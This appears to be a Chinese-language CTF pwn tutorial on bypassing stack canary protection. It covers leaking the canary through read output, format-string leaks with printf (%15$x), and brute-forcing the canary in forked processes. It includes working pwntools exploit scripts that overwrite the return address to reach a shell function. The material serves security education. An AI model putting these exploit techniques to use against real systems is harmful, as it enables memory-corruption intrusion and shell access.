介绍
我的绕过只有三部分:覆盖绕过,泄露绕过,和暴力破解
这部分参考CTFwiki,专业解释
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
通俗来说,**
canary保护**是为了防止程序能够被溢出的地方不让溢出
比如一个输入函数能够输入100个字节的内容,但是它的变量只有50个字节的大小,因为这个程序是可以接受你输入超过50个字节大小的内容的。我们就可以先输入50个字节的无用数据,然后再输入一串你想跳转到的地址把后面的return函数存在的原本的地址覆盖了,这样程序执行完这个输入函数就会跳转到你输入的那个地址去。
而canary则是在这个变量的末尾和返回地址之间加上一段canary word(比如aaaaaaaabbb\x00),当你执行到返回函数那里时会把(aaaaaaaabb\x00)和原本存在变量末尾的内容进行比较,如果发现不一样程序就会崩溃。因为你要是想要修改返回地址的话,你一定要把内容写过这个变量,就一定会覆盖掉这串canary字符,而且这些字符是随机的,不能提前写入。
**解释一下\x00,canary word的最低位一定是\x00
canary在汇编中的代码段
关键就是寻找最后一个call ___stack_chk_fail的位置,然后就算找到了canary,至于存储的寄存器(eax,edx)倒是不固定,一般都在输入函数的旁边
栈的空间分配
canary常见绕过技术
canary是linux下的保护机制,它会保存在栈的某个位置上,一般来说64位的话会在rbp-0x8的位置,32位则在ebp-0x4的位置。当我们进行栈溢出的时候如果覆盖了canary值,程序就会调用stack_chk_fail来打印报错信息。在做题的时候最烦的就是这种,大大增加了栈溢出时的难度。通常有以下几种绕过方法:
1、通过read函数泄露canary。关键的一点就是read函数读取字符串的时候不会在末尾加上“\x00”,这就是gets函数不能用来泄露canary的原因(有些输出函数遇到‘\0’会截断)。
2、暴力破解canary。这种方法利用起来有限制,就是一般要程序中有fork函数创造出子进程,因为子进程是父进程复制出来的,所以canary也就跟父进程相同,在子进程中覆盖canary后报错就会退回到父进程,此时canary的值是不会改变的。
3、劫持stack_chk_fail。因为canary被覆盖的时候会调用这个函数,所以如果我们可以利用程序中的漏洞(比如格式化字符串)改got表中stack_chk_fail的地址为one_gadget的地址就能getshell。
4、利用stack_chk_fail的报错信息。在报错信息中,会将你发生栈溢出的程序名调用输出,其位置位于argv[0],我们可以将argv[0]的地址改写为我们想要获取的内容的地址,使它随着错误提示一起输出。
《上面这部分来自https://zhuanlan.zhihu.com/p/99321839》
我们只介绍第一种和第二种,然后再补充另一种
5,printf泄露canary。需要用到格式化字符串的漏洞
通过read函数泄露
附上题目链接
链接:https://pan.baidu.com/s/1ww_r66KqMTxQyGzdcLphOQ
提取码:qtor
必然能溢出,就不写了,我们必须要是read函数读入,然后有一个打印函数打印变量的内容才可以,这是环境要求,还要要求有读入函数有两个,这个例子是一个循环
首先我们计算一下buf到cananry的距离
这三个定义的变量中,buf和i的作用是知道的,那么v3就是存储canary的位置,v3的相对位置为esp+0x6c的位置,buf是esp+0x8的位置,所以buf到canary的字节大小为0x6c-0x8=0x64=100,也可以用ebp相对位置算,结果相同,说明buf需要填充的字节大小为100。
cananryd word的数据形式为0x******00,因为是小端存储,所以在内存最开始的位置存储的是\x00。Canary的值最后两位是0,也就是说是一个字符的大小,如果上面是字符串,写多了一位,刚好把这个00覆盖掉,那么,就能打印出前几位Canary的值
payload='a'*100 + 'b'选择用b来覆盖0x00
这就是我们recv到的字符串,所以我们需要优化一下recv(),而且后面出现的cananry是乱码的状态,需要用u32()解开
ljust()函数自行百度 ,\x00是填充字符,不影响数据本身,只是为了凑够4个字节的填充物
0xf7f242,完整的应该是0xf7f24200,少了个00,说明这正是我们覆盖过的cananry
很重要的一点!!!是send不是sendline,sendline会多发送一个‘\n’,如果你使用sendline,那么请不要多发送那个b,这个\n就会覆盖cananry的\x00,那么得到的结果应该会是0xf7f2420a,请把收到的cananry-0xa才是最后的cananry。
关键点我已经讲了,直接拿别人的exp上来了,我就不写了
现在我们已经获得了cananry word了,我们已经写到了cannary的位置,然后我们需要获得canary到ebp的大小,v3的变量已经写了,ebp-0xc,所以是12,所以最后exp如下
from pwn import *
context(os = 'linux',arch = 'i386')
io = process('./ex2')
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = "A"*100+p32(Canary)+"A"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC
payload = (offset)*"a" + "b"
p.send(payload)
p.recvuntil("ab")
canary = u32(p.recv(3).rjust(4,"\x00"))
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)
p.send(payload2)
p.interactive()
通过gets函数泄露
演示文件链接:https://pan.baidu.com/s/13V3DtN4JyLw2ScFinM1bpA
提取码:40q4
参考文章 https://bbs.pediy.com/thread-229447.htm
环境要求:文件必须含有printf(变量)函数,比如printf(a),不能是printf(%s,&a),这是建立在格式化字符串的基础之上的,而且要有两处输入函数,和上面那个一样
介绍一下gets函数,这个函数是最危险的,因为它不会对用户输入进行检查,你输入多少它照盘全收,所以它很容易造成溢出。
多定义了一个v5,没有使用,是cananry没错。
介绍printf()字符串泄露,复制部分内容https://www.anquanke.com/post/id/85785
格式化字符串漏洞在通用漏洞类型库CWE中的编号是134,其解释为“软件使用了格式化字符串作为参数,且该格式化字符串来自外部输入”。会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数。介绍格式化字符串原理的文章有很多,我这里就以printf函数为例,简单回顾其中的要点。
printf()函数的一般形式为printf(“format”, 输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,我们是这样使用的:
char str[100];
scanf("%s",str);
printf("%s",str);
但也有人这么使用
char str[100];
scanf("%s",str);
printf(str)
也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。
format中文是格式的意思,就是“%~”
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,
%i$x
表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
其余的format自行百度
以上图为例,假设调用printf(str)时的栈是这样的。
1)如str就是“hello world”,则直接输出“hello world”;
2)如str是format,比如是%2$x,则输出偏移2处的16进制数据0xdeadbeef。
通过组合变换格式化字符串参数,我们可以读取任意偏移处的数据或向任意偏移处写数据,从而达到利用格式化字符串漏洞的作用。
这里解释一下,printf()读取的内容是有偏移的
如图所示,真实位置为664,偏移为5,所以如果我们要通过printf()泄露的话,泄露buf输入内容应该发送**%5$x**,可以用第一个题的例子做个试验,断点设为printf@plt处,第一次输入%15 $x就可以发现
然后printf打印
打印出来的就是这个位置的地址。然后我们就可以开始泄露cananry了
我们现在printf@plt处下个断点,用来看printf()打印的初始位置
然后再在这里下一个断点,因为需要它先把cananry的地址交给edx,我们才能对比偏移
可以看到printf打印buf的初始位置为0xffffd650
然后c
可以看到cananry的位置存在edx中,为 0x9a44da00,然后我们查看printf存的初始位置的内容
我们找到了cananry的地址
所以偏移是0xf,就是15,所以cananry字符应该是%15 $x
末尾两位是\x00,是我们要找的canary,然后我们需要计算cananry到ebp的大小。
老样子,我们把断点设在cananry的xor处,然后观察栈
然后我们使用gdb的stack命令观察栈
我们计算cananry到达栈底返回地址的位置
这是gdb的p命令,可以自行百度,也可以直接拿0xffffd698-0xffffd68c,
我们得到的canary到ebp的大小为12,所以我们就可以写exp了
。这里我少写了一个s到canary的大小,不过上个方法讲过了,
所以s到canary的距离为0x3C-0x14=0x28
暴力破解
环境要求,必须含有fork函数
请参考:https://blog.csdn.net/weixin_43876357/article/details/104232574
https://blog.csdn.net/AcSuccess/article/details/104119680
文件示例链接:https://pan.baidu.com/s/1ZGacUW96NlUzRLdlMKc1og
提取码:500f
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print "the " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break
感谢观看,欢迎留言评论